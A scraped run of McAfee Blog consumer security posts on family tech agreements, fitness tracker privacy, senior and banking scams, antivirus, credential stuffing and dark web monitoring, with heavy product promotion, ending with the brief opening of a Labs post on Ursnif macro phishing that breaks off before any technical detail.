Login
There were multiple times during my digital parenting journey when I would have loved to put my head in the sand. Pretend that life was easy and that my kids weren’t going to grow up and want devices and to join social media. But I didn’t. I couldn’t. With four kids who had technology running through their veins, I had no choice but to embrace it.
While many kids will first experience the internet from a family laptop or via their parent’s phone at a coffee shop (we’ve all done it), it’s when they get these devices into their hot little hands unsupervised a few years down the track that the real show starts. And that’s usually when they get access to a phone. Research from our eSafety Office shows that just under half of Aussie kids between 6 and 13 use a smartphone with about 1/3 owning their own device.
And while we can all wax lyrical about the good old days when we used payphones and how great it would be if our kids didn’t have smartphones, we need to keep it real. Technology is not going anywhere so the best thing we can to accept it’s here, educates our kids about how to use it safely and introduce boundaries and rules to ensure they are as safe as possible.
So, without further ado, let me introduce you to the concept of a family technology contract – a great way to manage your kids and their tech use.
I like to think of a tech agreement as a clear outline of your expectations of your kids’ digital behavior – any behavior that occurs while using a device should be included in the agreement and yes, include TV here too! Now, before we progress, I have to share one key tip – don’t even think of putting together an agreement like this when tensions are high, or a heated argument is still in place – it will never work. Only talk about this or start working on it when you are in a calm and serene headspace.
The most important thing is to have an agreement that is suitable for your kids’ ages and maturity and one that works for your family’s schedule. There’s no point making your 5-year-old sign an agreement that limits their time on Instagram when they’re probably quite happy visiting only the online sites that you have ‘bookmarked’ for them. And if your kids have a super busy schedule then you might want to include a rule that means there is no ‘leisure screen time’ (eg TV/movie viewing) till all homework is complete.
While it’s entirely based on your kids’ interests and tech usage, I think 3 is a good age to start with a basic agreement. That’s when they start understanding rules. And how old is too old for a tech contract, I hear you ask? Well, I acknowledge that introducing new rules and boundaries when your kids are well into their teens may be difficult however if things feel out of control and you are concerned about their mental health and less than ideal digital habits then it may also be exactly what you all need!
Keeping an agreement age-appropriate and relevant is essential. You may also want to keep it simple and focus on a few key things, such as:
But it can include so much more. Here are some items you may choose to include in your own personalized version. Think of this list as a shopping list. Simply, pick & choose what works for the ages of your kids and your family’s structure.
Online Behaviour
I understand that access to my devices is a privilege and breaking this agreement will lead to the following consequences: (list what you feel is appropriate)
I would have all parties sign and date the agreement: both parents and kids. You may choose to keep a copy on the fridge? Again, whatever works for your situation.
So, if you are feeling like this digital parenting thing is getting the better of you, please consider introducing an agreement. For decades, parenting experts have written about the virtues of establishing clear boundaries for our kids and in my opinion, a tailored family tech agreement absolutely does that!
Good luck!!
Alex x
The post Why You Need to Get a Family Technology Agreement Happening appeared first on McAfee Blog.
Congratulations! You reached 10,000 steps today!
It’s a great feeling when a wearable fitness device vibrates to let you know when you hit the day’s fitness goal. The digital fireworks display that lights up your watch’s screen is a signal that you should keep on moving to challenge yourself more … or spend the rest of the day on the couch guilt-free.
While fitness wearable devices, trackers, and apps are excellent motivators for you, cybercriminals love them for their vulnerabilities and privacy loopholes. This doesn’t mean you have to chuck your expensive watch in the bin or delete your fitness apps from your smartphone. Awareness and smart habits go a long way in deterring cybercriminals. Keep reading to learn more about wearable technology vulnerabilities and how you can sidestep each.
Many fitness tracker apps and wearables are equipped with GPS. At the end of a run or long walk, you can view your exact route, sometimes with detailed maps that show street and town names. This tracking feature was potentially dangerous back in 2018 when a fitness app released a heat map of all its users’ running routes for the year, which clearly outlined secret military bases.1
Even if you’re stationed in a suburb and not hostile territory, you may consider the risks of sharing your location data. A determined criminal who has time to spare can guess your address and see the times of days when you’re commonly out at the gym or on a run.
When you purchase a wearable fitness device, you often have to pair it with an accompanying smartphone app to see your daily stats and tailor your fitness goals. Think about all the personally identifiable information (PII) that app now houses: your full name, password, address, height, weight, location, medical concerns, daily activity patterns, etc. In the hands of a cybercriminal, this information can bring a nefarious actor one step closer to impersonating you. Plus, if your health data makes it onto the dark web or is sold to health companies, it may result in serious privacy concerns.
Luckily, there are ways to get peace of mind about the security of your identity. Identity protection services, such as McAfee Identity Monitoring Service, provide expert identity theft support and up to $1 million in identity theft coverage.
Wearable devices complement any athleisure outfit and are a fun way to inspire athletic competition between a group of friends. Here are a few ways you can patch some of their security shortcomings:
When you first purchase any new device, fitness trackers included, your first step should always be to reset the factory password. Cybercriminals know that many people often skip this step, making it easy for them to walk right into new accounts. If you have a hard time remembering your passwords, consider entrusting them to a password manager to remember them for you. McAfee True Key makes it so that you only have to remember one master password to unlock the rest, and it’s protected by one of the strongest encryption algorithms available.
This is a tip you should consider for all your social media accounts. When you post about your life online, you actually divulge a lot of personal details that are helpful to cybercriminals. In the case of fitness trackers and apps, sharing the times of day when you go to the gym, are at the local track, or are on a bike path may give a criminal an idea of windows during the day when your home is empty. It’s unsettling to think that strangers can track your whereabouts, so it’s best to keep those details exclusive to people you personally know and trust.
In the case of fitness trackers and apps, a savvy cybercriminal may be able take an educated guess at your address, with which they can do a myriad of nefarious activities. Some running and fitness apps may be able to still create maps of your running routes but erase street names and other landmarks to make it more private. But when in doubt, turn off geolocation.
Fitness trackers are a fun way to stir up some friendly competition, keep connected with your fit friends, and motivate yourself to exercise and maintain healthy habits. While you’re shopping for a new device or when evaluating your current tracker, keep these tips in mind to enjoy this technology to its fullest.
The post Why You Should Care About Fitness Tracker Security appeared first on McAfee Blog.
The growing number of internet crimes targeting senior adults is mind-blowing.
In 2021, more than 92,000 people over the age of 60 reported losses of $1.7 billion, according to IC3, the FBI’s Internet Crime division. That number reflects a 74 percent increase in losses from 2020.
These numbers tell us a few things. They tell us that scamming the elderly is a multi-billion-dollar business for cybercriminals. It also tells us that regardless of how shoddy or obvious online scams may appear to anyone outside the senior community, they are working.
However, information is power. Senior adults can protect their hard-earned retirement funds and government benefits by staying informed, adopting new behaviors, and putting tools in place designed to stop scammers in their tracks. And, when possible, family, friends, and caregivers can help.
The FBI said confidence fraud and romance scams netted over $281 million in losses.
The top four types of scams targeting seniors: Romance scams (confidence scams), fake online shopping, false utility representatives, and government agent imposters. Here’s how to make a few shifts to mindset and your daily routine and steer clear of digital deception.
Just as the seasons change in our lives, so too must our behaviors when connecting to people and information via our devices. Cybercriminals target older people because they assume they aren’t as informed about schemes or technically savvy as younger people. Senior adults and their loved ones can work daily to change that narrative. With the right mindset, information, and tools, seniors can connect online with confidence and enjoy their golden years without worrying about digital deception.
The post Seniors: How to Keep Your Retirement Safe from Online Scams appeared first on McAfee Blog.
If your PC runs on Windows 10, you’re in very good company. The Microsoft operating system is the most widely used OS in the world. Many Windows 10 users have also been upgraded to Windows 11 through a rollout that began in 2021. Microsoft plans to complete the Windows update by mid-2022.
Unfortunately, its success as a widely used operating system makes Windows attractive to hackers. And if malicious software like malware can make a home in Windows, there are a lot of targets. So, this might raise the question of how best to protect your Windows 10 or 11 device.
Should you just use Windows Defender — Microsoft’s free version of antivirus software — or buy additional protection?
Read on to learn what Microsoft Defender covers and how additional virus protection can secure all of your connected devices.
For years, Microsoft has offered anti-malware protection, but the current version provides effective security against viruses. Windows Defender is a free antivirus tool that’s built into the Windows operating system.
While it’s considered one of the best free antivirus software programs, it doesn’t have any extra features that might come with paid security software. If you’re just looking for good antivirus software, though, Windows Defender can get the job done.
If you’re not using third-party antivirus protection, you’ll want to make sure that your Windows Defender antivirus coverage is working on your computer. Here’s how to check:
To make sure your Windows security is running, follow these steps:
With built-in coverage, you may wonder if you should invest in paid antivirus software. The answer is, of course, yes! It can be a good idea to get another antivirus solution because blocking malware and viruses should just be one part of your threat protection.
Today’s cybercriminals are using elaborate ruses to try to access your personal information, such as your bank and credit card numbers. And some of their scams might even target your devices with risky apps or links on social media.
As they always say, it’s better to be safe than sorry! Having another antivirus program can make sure you have real-time protection and access to the latest security features.
There are a lot of antivirus protection programs out there, but they aren’t all created equal. When looking for the best antivirus software for your needs, here are some things to consider for your devices running on Windows 10 or 11.
If you have a Windows PC, use an iPhone, and your tablet runs on Chrome, it helps to have an antivirus app that works across multiple operating systems. The good news is that McAfee Total Protection is compatible with Windows, Mac, iOS, and Android devices, so you can continue enjoying all of your different devices without losing protection.
For greater cybersecurity, antivirus software should defend against a variety of online threats like viruses, spyware, and ransomware. And that’s exactly what you get with McAfee Total Protection. Our antivirus software can also help you avoid phishing attacks, which are fake messages to trick you into providing information or clicking a malicious link. The software will give you a warning when it recognizes a risky link, website, or file.
Functionality is another thing you’ll want to consider when looking for antivirus software. If the program isn’t easy to use to begin with — especially if you want to easily manage multiple devices — what good will it do you?
But you don’t have to worry with McAfee Total Protection, which allows you to connect and manage all of your computers and mobile devices from one single dashboard.
To keep your devices free from online threats like malware, good antivirus software will scan your files for threats. McAfee Total Protection provides 24/7 protection with real-time, on-demand, and scheduled scanning of files and applications.
McAfee Total Protection was developed with an understanding of how cybercriminals operate. Scammers may use a variety of tactics to try to steal your personal information, so our all-in-one protection also includes:
Using Microsoft’s built-in antivirus software can protect your Windows devices from viruses and malware. But to really keep your network and all of your devices secure, it’s good to rely on comprehensive protection like McAfee Total Protection. With services like identity monitoring, safe browsing, and a secure VPN, you can enjoy the internet without worry.
The post Does Windows 10 or 11 Need Antivirus Software? appeared first on McAfee Blog.
Say you’re getting married. You and your partner have booked the venue, made the seating arrangements, trained your dog to be the ring bearer – and everything is running smoothly. You’ve used a trusty wedding planning website to make everything a breeze. Nothing could ruin this day for you! Except, there’s an uninvited guest. They’re not crashing the wedding and making an awkward toast, but they’ve crashed into your wedding planning website account and now have access to your information.
There are many things that could go wrong during wedding planning – some of them out of anyone’s control. Maybe the caterer canceled last minute, or the live band is stuck in traffic. Other things may be easily avoided, but you don’t necessarily see them coming. Like a hacker accessing your wedding website and making fraudulent bank transfers right before your big day.
Zola, a wedding planning site allowing couples to create websites, budgets, and gift registries, confirmed that hackers had managed to access the accounts of some of their users, The Verge reported. Once these accounts were infiltrated, hackers used the linked bank accounts or funds held inside the site to make cash transfers. The main method these cybercriminals used was purchasing gift cards through the user’s account and sending them to their email addresses to avoid being easily traced.
These criminals did not hack the Zola website itself but hacked their users’ accounts with a method called credential stuffing. This is a strategy where hackers take email and password combinations involved in previous breaches of other websites and use them to log into other online profiles.
You may not even know that your information had been breached previously and that cybercriminals now had your logins for a number of different accounts. Luckily, there are ways to protect yourself and your information from credential stuffing tactics to stop hackers in their tracks.
Just because you’ve hypothetically grown up and are ready for lifelong commitments doesn’t mean you’ve outgrown those old trusty email addresses and passwords (hello, “basketball4life23”). There’s a level of nostalgia that comes with using the email account that you made in middle school, or maybe you just haven’t gotten around to changing it. However, keeping those old email addresses and logins are doing you more harm than good. Want to make sure that hackers aren’t able to credential stuff your accounts? Here are some trusty tips to keep your information safe.
The best way to know that your old accounts aren’t coming back to haunt you is to make sure those ancient logins are dead and gone. If you don’t remember all the accounts you’ve made and no longer use, don’t sweat it! There are settings through your internet browser that will show you all the accounts and passwords you have saved. A password manager also keeps track of all your credentials, so you don’t have to wrack your brain to try and remember every account you’ve ever made. Once you’ve gone through all your old online accounts you no longer use, close them for good! Though this step will require some time and patience, it’s always better to put in the effort and know your information is safe than to risk it.
Only having to remember one password for every account may make logging in easier, but ensuring that each of your accounts is unique and secure is worth the extra effort. Having a strong and unique password for each of your accounts helps protect them from credential stuffing and other threats. Varying your passwords across online accounts will assure you that if one of them is breached, the others will remain safe. A password manager can also help with this step, because many of them, such as True Key, can generate strong, random, and unique passwords for every account.
Keep an eye out to make sure that if a website or company you have an account with is breached, you are updating your credentials so that hackers can’t access them. If you see that there has been a hack and your information is vulnerable, immediately update your logins and passwords on that account to keep yourself safe.
Using multifactor authentication adds an extra layer of protection to your accounts. This safety measure requires more than one method of identity verification to access the account, helping to prevent criminals from gaining access to your password-protected information.
Don’t let cybercriminals get the jump on you! Take the necessary steps to protect your accounts and your personal information. Though combing through your old accounts and deleting them or coming up with a new and unique password for every site login isn’t a glamourous activity, you’ll enjoy greater peace of mind that your accounts are safe, leaving you free to enjoy life’s best moments.
The post Wedding Planning App Users Hacked Before the Big Day appeared first on McAfee Blog.
It’s difficult to imagine what life was like before the internet. We log in daily to pay bills, shop, watch movies, and check out what friends and family are up to on social media. While the internet has made life easier, we may not consider how our online activities can make personal information — such as our Social Security numbers (SSNs) or bank account and credit card numbers — vulnerable to cybercriminals on the dark web.
Fortunately, you can find out if your information is on the dark web and keep tabs on your sensitive information with extensive dark web monitoring, offered through McAfee’s Identity Protection services.
This article explains what the dark web is, how to find out if personal details have reached the dark web, and how to protect your sensitive information.
Unlike the surface web we use for things like shopping and online banking, the dark web is part of the internet that’s not indexed by search engines. It can only be accessed with special web browsers. A few widely known networks include Tor, I2P, and Riffle.
Cybercriminals can browse, sell, or trade on dark websites with confidence and complete anonymity. Because of its highly layered encryption system, hackers can communicate without giving away their location, IP address, or identity.
Data can end up on the dark web in several ways, including through data breaches, using public Wi-Fi, visiting a nonsecure website, and leaving an offline paper trail.
A cybercriminal may hack into company databases and take personal data, such as email account addresses, passwords, and phone numbers. And while we all love to work at our favorite coffee shop, using an unsecured Wi-Fi network can leave our personal information in public view.
That’s why using a virtual private network (VPN) like McAfee Secure VPN, which comes with bank-grade encryption to scramble your data, can be a good idea. You’ll also only want to visit encrypted webpages when browsing online — keep an eye out for URLs beginning with HTTPS rather than HTTP. The “S” means added security for you. Lastly, shred paper containing your personal information or lock it away until you can.
With identity monitoring through McAfee Identity Protection, you’ll receive notifications if we find your personal information on the dark web. Our extensive monitoring service keeps tabs on up to 60 unique types of personal data and can notify you up to 10 months sooner than similar services. Plus, you get peace of mind with up to $1 million of ID theft coverage and hands-on restoration support to help reclaim your identity after identity theft.
While you can’t remove your information once it’s on the dark web, there are plenty of steps you can take to help protect yourself and prevent your data from falling into the wrong hands. You can:
No one wants their information to end up on the dark web. Fortunately, you can do a few things to minimize your risk of exposure. Here are some tips you can use to keep your data safe.
Identity protection software from McAfee can help keep your information out of the hands of cybercriminals. Some features of McAfee identity protection include expert security support, award-winning antivirus protection, a password manager, and firewall protection. Choose the plan that works best for you and keep tabs on your personal information.
This extra layer of security double-checks your identity when signing into an online account. You enter your password as usual and a unique six-digit, one-time code is sent to a trusted device via text. This added step can help improve the security of your personal information.
When creating or updating your account passwords, make sure to choose ones that are difficult to guess. Avoid using a pet’s name, your name, or other personal information that others can guess. It goes without saying, but don’t share any of your passwords.
Shared content can tell a lot about someone. Have you ever shared the make and model of your first car, your favorite movie or band, or your high school graduation year? This information helps unsavory characters figure out online passwords and security questions.
There are a lot of cool apps out there, and many are harmless. However, some may request access to your location, photos, contact list, and even microphone. Certain apps, especially those filled with malware, can then collect your data and share it with others. Fortunately, Android devices and Apple iPhones allow you to change your permission settings for apps.
With so many emails arriving in our inboxes, we may not always pay close attention to what we’re opening. However, scammers may use phishing emails in an attempt to access your personal information. Sometimes, these emails are obvious, but they can also look legit and appear as a trusted company, such as your bank or credit card company. If something seems amiss, such as a billing error or an invoice, log in through the company’s website rather than click links inside the email.
No one wants their information on the dark web. Thankfully, there are several things you can do to keep your personal information secure, including all-in-one protection from McAfee.
McAfee Total Protection comes with advanced identity monitoring, which provides faster and broader detection for your identity, plus premium antivirus software, safe browsing, and Secure VPN.
With easy setup and extensive monitoring, you can maintain your digital identity and gain peace of mind.
The post A Guide to Finding Out If Your Information Is on the Dark Web appeared first on McAfee Blog.
Online banking puts the ability to pay bills, check your balance, or transfer money at your fingertips. Unfortunately, it can also make you vulnerable to scammers who may try to trick you into giving them access to your account.
By remaining vigilant, though, you can avoid common scams. This article discusses mobile banking scams and how to avoid them.
Online banking can be super convenient — for both you and cybercriminals. And hackers may use a variety of tactics to gain access to your accounts. Most of these involve tricking you into giving them your account information.
With this type of online scam, fraudsters may send a text message or email that looks like it’s from your bank. Often, the message will ask for immediate action, such as confirming your information to keep the account from being closed.
The message might even include a link to the bank, but it actually goes to a fraudulent website designed to look like the bank’s website. When you enter your account information, the scammers record it.
Sometimes, the email asks you to call a fake customer service number. If you do, you’ll speak to someone who tries to get you to give over sensitive information, like your date of birth or Social Security number (SSN).
Occasionally, scammers already have some of your personal information. To gain your trust, they might mention personal details like your date of birth or the last four digits of your SSN. They may have learned this information from your social media posts or accessed it in a data breach.
Another way hackers may try to access your bank account is to steal or guess your password. If they can log into your account, they can use your sensitive information for personal gain, otherwise known as identity theft. They can then open credit card accounts in your name, purchase merchandise, or transfer money out of your account.
Cybercriminals use technology to guess billions of passwords per second. However, it’s more difficult to guess long passwords with a combination of letters and numbers.
For example, a computer can instantly guess a password consisting of eight letters. Adding one uppercase letter extends the time it takes to crack a password to 22 minutes. In contrast, a 12-character password with an uppercase letter, a number, and a symbol would take the computer 34,000 years to crack.
When you click a link or attachment in an email or download fake antivirus software, your device can become infected with malicious software or malware. A virus can let hackers view data from your device and use it to access your financial information or bank accounts.
Consider getting antivirus software to help protect your devices, like what’s offered through McAfee Total Protection. Our award-winning antivirus software provides 24/7 real-time threat protection against online threats like malware, viruses, ransomware, and phishing, across Apple and Android systems.
Public Wi-Fi gives you convenient, free access to the internet in restaurants, airports, and department stores. But it can also be easy for hackers to see your private information on an open network that doesn’t require a password.
If you log into your online bank account, your login information could be exposed, making you vulnerable to bank fraud. Shopping online with public Wi-Fi could also expose your credit card information.
Fortunately, you can protect yourself from cybercriminals with sensible precautions and a healthy dose of suspicion. Use the tips below to help safeguard your accounts from online banking scams.
McAfee Total Protection provides all-in-one protection for your personal information and privacy. You’ll have coverage for all of your laptops, tablets, and smartphones on most operating systems — Windows, macOS, Android, or iOS. In addition to premium antivirus software, you get identity monitoring and a secure VPN that shields your data when using public Wi-Fi.
You can better recognize phishing emails once you understand how banks communicate with customers. There are certain things legitimate banks never do. If you get a message like that, assume it’s fraudulent. Some other tips include:
At some point, almost everyone has used the same password for different websites. But this is one of the simplest ways for hackers to get into your accounts. If they figure out the password for one, they can sometimes access your other accounts.
The most common passwords are:
Use unique passwords for each website. They should be 12 characters long and include numbers, lowercase letters, uppercase letters, and symbols. McAfee Total Protection includes a password manager to help generate and store your passwords in a single location.
If you get an email about an issue with your bank account, you can always go directly to your bank’s website. Don’t click any links in a text or email — just go directly to your bank’s website to check your account. Similarly, if you get a phone call, dial your bank directly using the official telephone number.
Use two-factor authentication when logging into websites for your financial institutions. You’ll get a one-time code by text or email to use each time you log into your account.
When you log onto public Wi-Fi, anyone can see your internet activity. For that reason, you shouldn’t log into your bank account with public Wi-Fi unless you’re using a virtual private network (VPN).
McAfee Secure VPN protects your privacy by turning on automatically for unsecured networks. Your data is encrypted so it can’t be read by prying eyes. The VPN also keeps your online activity and physical location private and secure from advertisers.
Review your bank statements carefully each month to ensure there are no unauthorized transactions. Contact your bank immediately if you see any payments or withdrawals that you don’t recognize.
Being vigilant and understanding how scammers work can help you avoid online banking scams. For an additional layer of security, use McAfee Total Protection. Our comprehensive cybersecurity services protect all of your devices with award-winning antivirus, a secure VPN for safe Wi-Fi connections, and advanced identity monitoring. There’s even a team of security experts available to assist you around the clock.
With McAfee, you can bank online with ease knowing your personal data is secure.
The post Types of Online Banking Scams and How to Avoid Them appeared first on McAfee Blog.
The great thing about the internet is that there’s room for everyone. The not-so-great part? There’s plenty of room for cybercriminals who are hungry to get their hands on our personal information.
Fortunately, internet scams don’t have to be a part of your online experience. In this article, we’ll tell you about some of the most common internet schemes and how you can recognize them to keep your identity safe.
Scams are scary, but you can prevent yourself from falling for one by knowing what to look for. Here are a few tell-tale signs that you’re dealing with a scammer.
If you get a message that you’ve won a big sum of cash in a sweepstakes you don’t remember entering, it’s a scam. Scammers may tell you that all you need to do to claim your prize is send them a small fee or give them your banking information.
When you enter a real sweepstakes or lottery, it’s generally up to you to contact the organizer to claim your prize. Sweepstakes aren’t likely to chase you down to give you money.
Scammers will often ask you to pay them using gift cards, money orders, cryptocurrency (like Bitcoin), or through a particular money transfer service. Scammers need payments in forms that don’t give consumers protection.
Gift card payments, for example, are typically not reversible and hard to trace. Legitimate organizations will rarely, if ever, ask you to pay using a specific method, especially gift cards.
When you have to make online payments, it’s a good idea to use a secure service like PayPal. Secure payment systems can have features to keep you safe, like end-to-end encryption.
Scammers may try to make you panic by saying you owe money to a government agency and you need to pay them immediately to avoid being arrested. Or the criminal might try to tug at your heartstrings by pretending to be a family member in danger who needs money.
Criminals want you to pay them or give them your information quickly — before you have a chance to think about it. If someone tries to tell you to pay them immediately in a text message, phone call, or email, they’re likely a scammer.
Many scammers pretend to be part of government organizations like the Internal Revenue Service (IRS). They’ll claim you owe them money. Criminals can even use technology to make their phone numbers appear legitimate on your caller ID.
If someone claiming to be part of a government organization contacts you, go to that organization’s official site and find an official support number or email. Contact them to verify the information in the initial message.
Scammers may also pretend to be businesses, like your utility company. They’ll likely say something to scare you, like your gas will be turned off if you don’t pay them right away.
Most legitimate organizations will thoroughly proofread any copy or information they send to consumers. Professional emails are well-written, clear, and error-free. On the other hand, scam emails will likely be full of grammar, spelling, and punctuation errors.
It might surprise you to know that scammers write sloppy emails on purpose. The idea is that if the reader is attentive enough to spot the grammatical mistakes, they likely won’t fall for the scam.
There are certain scams that criminals try repeatedly because they’ve worked on so many people. Here are a few of the most common scams you should watch out for.
A phishing scam can be a phone or email scam. The criminal sends a message in which they pretend to represent an organization you know. It directs you to a fraud website that collects your sensitive information, like your passwords, Social Security number (SSN), and bank account data. Once the scammer has your personal information, they can use it for personal gain.
Phishing emails may try anything to get you to click on their fake link. They might claim to be your bank and ask you to log into your account to verify some suspicious activity. Or they could pretend to be a sweepstakes and say you need to fill out a form to claim a large reward.
During the coronavirus pandemic, new phishing scams have emerged, with scammers claiming to be part of various charities and nonprofits. Sites like Charity Navigator can help you discern real groups from fake ones.
These scams also became much more prominent during the pandemic. Let’s say you’re preparing to fly to Paris with your family. A scammer sends you a message offering you an insurance policy on any travel plans you might be making. They’ll claim the policy will compensate you if your travel plans fall through for any reason without any extra charges.
You think it might be a good idea to purchase this type of insurance. Right before leaving for your trip, you have to cancel your plans. You go to collect your insurance money only to realize the insurance company doesn’t exist.
Real travel insurance from a licensed business generally won’t cover foreseeable events (like travel advisories, government turmoil, or pandemics) unless you buy a Cancel for Any Reason (CFAR) addendum for your policy.
Grandparent scams prey on your instinct to protect your family. The scammer will call or send an email pretending to be a family member in some sort of emergency who needs you to wire them money. The scammer may beg you to act right away and avoid sharing their situation with any other family members.
For example, the scammer might call and say they’re your grandchild who’s been arrested in Mexico and needs money to pay bail. They’ll say they’re in danger and need you to send funds now to save them.
If you get a call or an email from an alleged family member requesting money, take the time to make sure they’re actually who they say they are. Never wire transfer money right away or over the phone. Ask them a question that only the family member would know and verify their story with the rest of your family.
You get an email from a prince. They’ve recently inherited a huge fortune from a member of their royal family. Now, the prince needs to keep their money in an American bank account to keep it safe. If you let them store their money in your bank account, you’ll be handsomely rewarded. You just need to send them a small fee to get the money.
There are several versions of this scam, but the prince iteration is a pretty common one. If you get these types of emails, don’t respond or give out your financial information.
Your online experience is rudely interrupted when a pop-up appears telling you there’s a huge virus on your computer. You need to “act fast” and contact the support phone number on the screen. If you don’t, all of your important data will be erased.
When you call the number, a fake tech support worker asks you for remote access to your device to “fix” the problem. If you give the scammer access to your device, they may steal your personal and financial information or install malware. Worse yet, they’ll probably charge you for it.
These scams can be pretty elaborate. A scam pop-up may even appear to be from a reputable software company. If you see this type of pop-up, don’t respond to it. Instead, try restarting or turning off your device. If the device doesn’t start back up, search for the support number for the device manufacturer and contact them directly.
Scammers will often pose as popular e-commerce companies by creating fake websites. The fake webpages might offer huge deals on social media. They’ll also likely have a URL close to the real business’s URL but slightly different.
Sometimes, a criminal is skilled enough to hack the website of a large online retailer. When a scammer infiltrates a retailer’s website, they can redirect where the links on that site lead. This is called formjacking.
For example, you might go to an e-commerce store to buy a jacket. You find the jacket and put it in your online shopping cart. You click “check out,” and you’re taken to a form that collects your credit card information. What you don’t know is that the checkout form is fake. Your credit card number is going directly to the scammers.
Whenever you’re redirected from a website to make a payment or enter in information, always check the URL. If the form is legitimate, it will have the same URL as the site you were on. A fake form will have a URL that’s close to but not exactly the same as the original site.
These scams are similar to tech support scams. However, instead of urging you to speak directly with a fake tech support person, their goal is to get you to download a fake antivirus software product (scareware).
You’ll see a pop-up that says your computer has a virus, malware, or some other problem. The only way to get rid of the problem is to install the security software the pop-up links to. You think you’re downloading antivirus software that will save your computer.
What you’re actually downloading is malicious software. There are several types of malware. The program might be ransomware that locks up your information until you pay the scammers or spyware that tracks your online activity.
To avoid this scam, never download antivirus software from a pop-up. You’ll be much better off visiting the website of a reputable company, like McAfee, to download antivirus software.
Dealing with credit card debt can be extremely stressful. Scammers know this and try to capitalize off it. They’ll send emails posing as credit experts and tell you they can help you fix your credit or relieve some of your debt. They might even claim they can hide harmful details on your credit report.
All you have to do is pay a small fee. Of course, after you pay the fee, the “credit expert” disappears without helping you out with your credit at all. Generally, legitimate debt settlement firms won’t charge you upfront. If a credit relief company charges you a fee upfront, that’s a red flag.
Before you enter into an agreement with any credit service, check out their reputation. Do an online search on the company to see what you can find. If there’s nothing about the credit repair company online, it’s probably fake.
Admitting that you’ve fallen for an online scam can be embarrassing. But reporting a scammer can help stop them from taking advantage of anyone else. If you’ve been the victim of an online scam, try contacting your local police department and filing a report with the Federal Trade Commission (FTC).
Several other law enforcement organizations handle different types of fraud. Here are a few examples of institutions that can help you report scams.
Fraudsters shouldn’t stop you from enjoying your time online. Just by learning to spot an online scam, you can greatly strengthen your immunity to cybercrimes.
For an even greater internet experience, you’ll want the right tools to protect yourself online. McAfee’s Total Protection services can help you confidently surf the web by providing all-in-one protection for your personal info and privacy. This includes identity protection — which comes with 24/7 monitoring of your email addresses and bank accounts — and antivirus software to help safeguard your internet connection.
Get the peace of mind that comes with McAfee having your back.
The post How to Recognize an Online Scammer appeared first on McAfee Blog.
Mobile banking and finance apps have become increasingly popular in recent years. These apps provide a quick and convenient way to see checking and savings account balances and make and receive payments.
It’s no surprise that many people use these third-party apps to manage their finances. In 2021, the U.S. saw 573.1 million finance app downloads, a 19% increase from the previous year.
However, despite its benefits, mobile banking isn’t immune to risks. This article will discuss the safety and security of mobile finance apps and give you a few pointers to protect yourself while using these apps.
Yes, mobile banking is a pretty safe way to manage your finances; however, there can still be some risks associated with it, including fraud and scams.
If you’re careful, there are plenty of ways to protect yourself while using this incredibly easy banking method.
Here are a few tips to help you improve the safety of your online financial accounts.
A bank’s website will often include links to their mobile apps that provide related mobile banking services, along with details about the app’s features and how users can use it. You should use a trusted platform when installing the app, like the App Store for iPhone or iOS users or the Google Play Store for Android users.
You should also take time to go through reviews and related information about the app before downloading it to ensure its legitimacy. If you have any doubts, clarify the issue with your bank before downloading what could be a fake banking app.
While this may seem obvious, the reality is that many people don’t pay enough attention to their passwords. To create a strong password, you should use a combination of uppercase and lowercase letters, numbers, and special characters in no particular order or pattern.
In addition, security experts recommend long, complex passwords to exponentially increase the time it takes to crack them. It also helps to have unique passwords for each of your accounts.
If you’re concerned about remembering and managing multiple passwords, you can use a reputable and secure password manager like McAfee True Key to store your passwords.
Many services nowadays offer two-factor or multifactor authentication. This function refers to the additional layers of security against hackers. On top of a traditional username-password login, users are required to identify themselves with a code that’s sent to their cellphone or email.
By confirming the user’s identity this way, organizations eliminate a degree of uncertainty. While it isn’t foolproof, two-factor or multifactor authentication helps increase security. It’s worth checking if your finance app offers this feature.
Public Wi-Fi networks are convenient in urgent situations; however, they often come with a warning saying the network is unsecured. This means that the network is unencrypted, making it easy for hackers to access your personal information. The best practice is to avoid using public Wi-Fi networks, especially when carrying out any form of financial transaction.
If you need to make purchases or send and receive money while on the move, though, you’ll want to consider a virtual private network (VPN) like McAfee Secure VPN. The VPN provides a secure network even when using public Wi-Fi by hiding your IP address and encrypting your data.
The easiest way to protect your finances is to keep a vigilant eye on all of your transactions. However, security notifications from your bank are a great added measure. Most credit card companies allow you to turn on transaction alerts for various services, such as balance transfer requests, international purchases, and exceeded credit limits, which can help you recognize any suspicious activity on your account.
It’s also important to remember that financial institutions will never contact you over the phone or through email to ask for your banking information. If you receive such a message, it’s most certainly a scam. A common way people get duped is through calls or emails claiming they’ve won a prize and need to share personal account details to receive the money. Never share your bank account details, passwords, or one-time codes with strangers.
Always check with your bank to confirm any activity that seems out of the ordinary. In addition to alert notifications, banks can also send helpful tips to protect your account against fraud.
McAfee Security for Mobile is an award-winning cybersecurity tool that helps address the issues mentioned above and more. It’ll scan your device for malware, suspicious websites, and unsecured Wi-Fi networks so you can use social media or shop online with complete peace of mind.
It also comes with other features, like system cleaning services that clean junk from your phone’s storage. These features can boost battery life and help locate your phone if it’s ever stolen or misplaced.
Mobile and online banking both have their benefits and drawbacks, but which is the safer option? Experts often have varied opinions on the matter.
Some people believe it might be easier to download malware on a computer unknowingly, as it’s tricky to judge the authenticity of a website or malicious links. Users typically download apps from reputed app stores when using mobile devices, which lowers the risk.
On the other hand, professionals believe that both methods are equally safe. The choice depends on the network available to the user, as private networks are significantly less susceptible to hacking than public ones. Some users may prefer computers to mobile phones simply because they find it easier to perform tasks on a bigger screen.
Both internet and mobile banking are convenient and offer a quick way to manage your personal finances, as you don’t have to travel to a physical bank or carry large amounts of cash in your wallet.
However, while mobile banking is generally considered a safe method of managing your finances, it can have some vulnerabilities that scammers may try to take advantage of.
Following the tips mentioned above — like using a private network, not sharing personal details with anyone, and using a comprehensive mobile security tool like McAfee Security for Mobile — can make all the difference.
The tool’s security features include safe browsing, a secure VPN, and antivirus software. This means you can use your mobile finance apps confidently knowing McAfee is looking out for you.
The post How to Know If Your Mobile Finance Apps Are Safe appeared first on McAfee Blog.
McAfee Labs have been observing a spike in phishing campaigns that utilize Microsoft office macro capabilities. These malicious documents reach victims via mass spam E-mail campaigns and generally invoke urgency, fear, or similar emotions, leading unsuspecting users to promptly open them. The purpose of these spam operations is to deliver malicious payloads to as many people as possible.
A recent spam campaign was using malicious word document to download and execute the Ursnif trojan. Ursnif is a high-risk trojan designed to record various sensitive information. It typically archives this sensitive data and sends it back to a command-and-control server.
This blog describes how attackers use document properties and a few other techniques to download and execute the Ursnif trojan.
Threat Summary
Infection Chain
